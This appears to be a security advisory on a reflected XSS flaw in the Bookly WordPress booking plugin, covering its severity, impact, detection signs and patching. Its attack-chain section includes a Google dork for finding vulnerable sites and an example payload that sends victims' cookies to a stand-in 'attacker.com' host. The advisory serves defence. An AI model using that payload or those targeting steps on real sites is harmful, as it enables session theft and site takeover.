CVE-2026-32540: 
WordPress vulnerability analysis and mitigation

CVE-2026-32540 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Bookly – Appointment Booking plugin for WordPress (bookly-responsive-appointment-booking-tool). It affects all versions of the plugin through 26.7 and was disclosed on March 25, 2026, with Patchstack credited as the assigner. The vulnerability carries a CVSS v3.1 base score of 7.1 (High) (Feedly, Patchstack).

The root cause is improper neutralization of user-supplied input during web page generation, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The vulnerability is of the reflected type (CAPEC-591), meaning malicious script is injected via a crafted URL or request parameter and immediately reflected back in the server's HTTP response without proper sanitization or encoding. Exploitation requires no authentication (no privileges required) but does require user interaction — typically a victim clicking a malicious link — and the scope is changed, indicating impact can extend beyond the vulnerable component itself (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, redirection to malicious sites, or defacement of page content as rendered to the victim. The changed scope indicates potential impact on components beyond the plugin itself, such as the WordPress admin panel if an administrator is targeted, enabling privilege escalation or site takeover (Feedly).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.033% (0.000330), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the Bookly plugin version 26.7 or earlier using tools like WPScan, Shodan, or Google dorks (e.g., inurl:/wp-content/plugins/bookly-responsive-appointment-booking-tool).
2. Identify vulnerable parameter: Locate the specific URL parameter(s) in the Bookly plugin that are reflected unsanitized in the HTTP response (typically a query string parameter in a booking-related page).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://target-site.com/bookly-page?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedded link.
5. Achieve objective: When the victim clicks the link and their browser renders the reflected response, the injected script executes — stealing session cookies, capturing credentials, or performing actions on behalf of the victim within the WordPress environment (Feedly).

• Network: HTTP GET or POST requests to Bookly plugin pages containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after visiting a Bookly page.
• Logs: WordPress or web server access logs showing requests to Bookly-related endpoints with anomalous or encoded characters in query strings; referrer headers pointing to external or suspicious domains.
• Browser/Session: Unexpected session invalidation or new admin accounts created without authorization; admin actions (plugin installs, user creation) not initiated by legitimate users.

Users should update the Bookly plugin to a version later than 26.7, which addresses this reflected XSS vulnerability. Until a patch is applied, site administrators can consider disabling the Bookly plugin or restricting access to booking pages for untrusted users. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense while patching is pending (Patchstack, Feedly).

Sucuri noted this vulnerability in their March 2026 vulnerability patch roundup, highlighting it as part of a broader set of WordPress plugin issues requiring attention (Sucuri Blog). No significant additional vendor statements or notable researcher commentary beyond the Patchstack disclosure have been identified.